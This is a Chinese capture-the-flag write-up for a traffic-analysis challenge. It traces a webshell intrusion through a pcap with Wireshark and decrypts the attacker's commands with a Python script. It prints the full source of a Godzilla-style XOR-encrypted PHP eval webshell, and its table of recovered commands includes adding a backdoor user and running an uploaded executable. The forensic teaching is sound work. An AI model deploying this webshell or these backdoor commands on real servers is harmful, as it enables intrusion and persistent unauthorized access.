2026.7.27(1)【流量分析】2026CCF-系统后门用户分析
2026/8/2 9:51:43 网站建设 项目流程

📌 题目信息

项目内容
题目名称2026CCF-系统后门用户分析
题目来源玄机靶场
题目类型应急响应 / 流量分析
子分类Webshell 分析 / Linux 后门排查
考点Wireshark 流量过滤、HTTP 协议分析、文件上传分析、Webshell 代码审计
难度⭐⭐
最终 Flagflag{hacker-gg}

🛠️ 使用工具

  • Wireshark/Tshark:核心流量分析工具,用于打开流量分析.pcapng并追踪 TCP 流。
  • Python :用于还原 Webshell 中的异或加密逻辑,解密攻击者发送的命令。

📝 解题思路

拿到题目仅有一个流量分析.pcapng文件,意味着我们只能通过“看”网络流量来还原攻击者的行为。我们需要从零开始,像一个完全不知道攻击者做了什么的安全分析师一样,一步步筛选、追踪、解码,最终找到攻击者添加的后门用户名。

第 1 步:宏观分析——查看整体流量构成

打开 Wireshark 后,我们面对成百上千个数据包,不能漫无目的地乱翻。首先要做的是“鸟瞰”全局。
操作:点击顶部菜单栏的统计 (Statistics)->协议分级 (Protocol Hierarchy)

结果分析:在弹出的窗口中,我们发现HTTP协议占据了极大的比重(按字节约 32%,按数据包数量约 35%)。同时,Line-based text data(HTTP 载荷明文)和HTML Form URL Encoded(表单提交数据)的出现,表明攻击者很可能通过Web 应用发起了攻击。SSH、Telnet 等其他远程管理协议几乎未见踪迹,因此Web 流量就是我们排查的重中之重。

接着,通过Wireshark中的统计-会话功能,看到主要通信集中在Tcp通信中,其中8022端口的流量比较多。

💡 这一步的目的是锁定“主战场”。如果不先做统计,很容易在加密的 TCP 垃圾包或正常的广播包中浪费大量时间。

第 2 步:筛选请求——定位攻击者的操作入口

使用wireshark筛选出8022端口的通信,同时查看成功通信的数据,可以发现攻击者在做目录扫描探测。

tcp.port==8022 && tcp contains "200"


上面都是GET方法,如果攻击者向服务器提交数据(如上传文件、执行命令),则通常使用HTTPPOST方法,因此过滤POST方法。

操作:在 Wireshark 顶部的“显示过滤器”栏中输入以下过滤表达式并回车:

http.request.method == "POST"


结果:过滤后,数据包数量大幅减少。观察过滤后的列表,我们发现了两个关键的目标 IP 和路径:

  1. 路径/upload.php(这看起来像一个文件上传页面,很可能是攻击入口)。
  2. 路径/uploads/php_68525da04b2c37.31016234.phpuploads目录下的动态 PHP 文件,很像是上传成功后生成的木马文件)。

第 3 步:分析第一个 POST 请求——提取 Webshell 木马源码

我们查看第一个/upload.php相关的数据包的详细内容。

操作:右键点击该数据包 ->追踪流 (Follow)->TCP 流 (TCP Stream)。Wireshark 会还原这次 HTTP 请求和响应的完整原始数据。

发现:在 TCP 流窗口中,我们看到了一个标准的文件上传请求。攻击者上传了一个名为upload.php的文件。文件内容是一段 PHP 代码(已加注释):

<?php // ================== 环境初始化 ================== @session_start(); // 开启会话,用于存储payload @set_time_limit(0); // 无执行超时 @error_reporting(0); // 关闭错误显示 // ================== XOR加密/解密函数 ================== function encode($D, $K) { for ($i = 0; $i < strlen($D); $i++) { $c = $K[$i + 1 & 15]; // 从16字节密钥中循环取字符 $D[$i] = $D[$i] ^ $c; // 逐字节异或 } return $D; } // ================== 通信参数 ================== $pass = 'gg'; // POST参数名 $payloadName = 'payload'; // Session键名 $key = '3c6e0b8a9c15224a'; // 16字节密钥(哥斯拉默认) // ================== 核心逻辑 ================== if (isset($_POST[$pass])) { // 先Base64解码,再XOR解密 $data = encode(base64_decode($_POST[$pass]), $key); if (isset($_SESSION[$payloadName])) { // 非首次请求:取出payload并解密 $payload = encode($_SESSION[$payloadName], $key); // 检查是否含"getBasicsInfo",若无则再次加密 if (strpos($payload, "getBasicsInfo") === false) { $payload = encode($payload, $key); } eval($payload); // 执行恶意代码 // 返回:MD5校验头 + 加密结果 + MD5校验尾 echo substr(md5($pass . $key), 0, 16); echo base64_encode(encode(@run($data), $key)); echo substr(md5($pass . $key), 16); } else { // 首次请求:若包含"getBasicsInfo",存入Session if (strpos($data, "getBasicsInfo") !== false) { $_SESSION[$payloadName] = encode($data, $key); } } }

⚠️注意

  • 加密方式:单一encode()逐字节 XOR,密钥$key、参数$pass、会话$payloadName三件套写死
  • 分流标记:用字符串getBasicsInfo判断"首次初始化 / 执行命令"
  • 回显格式:响应为md5前16位 + base64(encode(结果,key)) + md5后16位
  • 代码风格:单文件、@抑制报错、set_time_limit(0)免超时

以上特征组合(尤以$pass/$key/$payloadName结构 +getBasicsInfo标记 + md5 回显)是Godzilla 加密马的典型指纹,据此判定攻击工具为哥斯拉。

第 4 步:追踪木马交互流量——捕获加密指令

我们回到过滤列表,查看针对木马文件php_68525da04b2c37.31016234.php的 POST 请求。
操作:点击过滤出的第二个关键路径(木马文件)的数据包,再次右键 -> 追踪流 -> TCP 流

这一大段gg=...是 Godzilla 客户端在"发送命令之前发送的加密脚本(前置脚本),里面是一大坨 Godzilla 的 "exploit 框架代码" + 待执行的命令(php 代码),不是普通的一句话木马。它的组成部分大致是:

  1. 框架初始化代码run()formatParameter()getBasicInfo()等函数定义)—— 这是 Godzilla 自带的执行环境
  2. 要执行的命令(比如whoaminet user hacker-gg /add等,嵌在参数区)
  3. 会话密钥/标记(用于和服务端握手、后续响应加密)**

前面都是Godzilla在执行命令前的前置脚本,所以我们在后面一点(实际是1904帧及之后)右键 -> 追踪流 -> TCP 流。可以发现攻击者执行的一条一条的命令(经过加密)。

第 5 步:解密攻击指令——还原真实命令

使用下面的python代码解密攻击指令(因为已经知道upload.php的内容,据此可以写出解密脚本)。需要注意的是由于webshell不是单一流,而是很多个不同的TCP流(230~244),因此需要提取不同的TCP流。

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import subprocess, base64, urllib.parse, gzip, sys #这里要根据你自己的路径修改!!! #这里要根据你自己的路径修改!!! TSHARK = r"F:\Wireshark\tshark.exe" PCAP = r"D:\Google浏览器下载\流量分析.pcapng" KEY = b"3c6e0b8a9c15224a" # Godzilla 密钥,ASCII 16字节 WEBSHELL = "/uploads/php_68525da04b2c37.31016234.php" # 过滤 webshell 路径 def run_tshark(display_filter, fields): """调用 tshark,返回字段列表(逐行)。""" cmd = [TSHARK, "-r", PCAP, "-Y", display_filter, "-T", "fields"] for f in fields: cmd += ["-e", f] out = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8", errors="replace").stdout return [ln.strip() for ln in out.splitlines() if ln.strip()] def php_xor(data: bytes) -> bytes: return bytes(b ^ KEY[(i + 1) & 15] for i, b in enumerate(data)) def get_post_body(frame: int) -> bytes: hx = run_tshark(f"frame.number=={frame}", ["http.file_data"]) if not hx: return b"" hexstr = hx[0] return bytes.fromhex(hexstr) def decrypt(frame: int): body = get_post_body(frame) if not body: return None s = body.decode("latin1") idx = s.find("gg=") if idx < 0: return None val = s[idx + 3:].split("&")[0] val = urllib.parse.unquote(val).strip() try: cipher = base64.b64decode(val) except Exception: return None plain = php_xor(cipher) # 尝试 gzip try: txt = gzip.decompress(plain).decode("utf-8", "replace") except Exception: txt = plain.decode("utf-8", "replace") return txt def extract_cmd(text: str) -> str: """从 Godzilla 载荷里提取命令。""" # 优先 cmdLine i = text.find("cmdLine") if i >= 0: seg = text[i + 7:] # 去掉二进制长度前缀等不可见字符,保留可打印 printable = "".join(ch for ch in seg if ch.isprintable()) return "命令: " + printable[:300] # 其次 methodName i = text.find("methodName") if i >= 0: seg = text[i + 10:] printable = "".join(ch for ch in seg if ch.isprintable()) return "方法: " + printable[:80] # 最后 raw 前 150 字符 printable = "".join(ch for ch in text if ch.isprintable()) return "内容: " + printable[:150] def main(): # 取所有 webshell POST 帧号(webshell不是单一流,而是很多个不同的TCP流(230~244)) frames = [] # 1. 建一个空列表,准备存帧号 for line in run_tshark( 'http.request.method==POST', # 2. 过滤条件:只要POST请求 ["frame.number", "tcp.stream", "http.request.uri"] # 3. 每行取这3个字段 ): parts = line.split() # 4. 把一行按空格拆成 [帧号, 流号, URI] if len(parts) >= 3 and WEBSHELL in parts[2]: # 5. 判断:URI 里是否含 webshell 路径 frames.append(int(parts[0])) # 6. 是 → 把帧号存进列表 frames = sorted(set(frames)) if not frames: print("未找到 webshell POST 帧,检查路径/过滤条件") return print(f"共 {len(frames)} 个 webshell POST 帧,开始解密...\n") for fr in frames: txt = decrypt(fr) if txt is None: print(f"===== 帧 {fr} ===== (无 gg 或解码失败)") print() continue print(f"===== 帧 {fr} =====") print(extract_cmd(txt)) print() if __name__ == "__main__": main()

逐帧解密后,得到攻击者执行的完整命令:

帧号流号方法/命令说明阶段
1791230初始化脚本主体(putenv/execCommand框架)注入 Godzilla 执行环境①初始化/握手
1807230test连接测试①初始化/握手
1812230g_close关闭会话①初始化/握手
1871231初始化脚本主体新连接,重新注入环境①初始化/握手
1886231test连接测试①初始化/握手
1891231getBasicsInfo获取系统基础信息①初始化/握手
1904232whoami确认当前用户ayy②权限探测
1909232net user查看现有账户②权限探测
1914232ls列目录(Windows 下无效)③目录枚举
1919232dir列目录③目录枚举
1934233net user hacker-gg /add创建后门用户 hacker-gg④创建后门账户 ⭐
1939233net user复查账户,确认 hacker-gg 已存在④创建后门账户 ⭐
1953234getFiledirNameuploads/浏览 uploads 目录⑤文件浏览
1965235getFiledirNameWWW/浏览网站根目录⑤文件浏览
2033236uploadFileback.exe上传后门程序(73802 字节)⑥上传后门
2049236getFiledirNameWWW/确认文件落地⑥上传后门
2061237tasklist查看进程⑦侦查
2077238netstat -an查看网络连接/端口⑦侦查
2090239../back.exe运行 back.exe⑧执行后门
2095239tasklist确认进程⑧执行后门
2110240echo DKM9Pw && cd && echo kIznPU路径确认(标记命令)⑧执行后门
2124240back.exe(WWW 目录)再运行后门⑧执行后门
2146243getFiledirNameWWW/目录复查⑨收尾确认
2158244tasklist(WWW 目录)确认后门进程存活⑨收尾确认

🏁 最终 Flag

题目说攻击者添加的后门用户名作为flag,则flag为hacker-gg。

flag{hacker-gg}

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询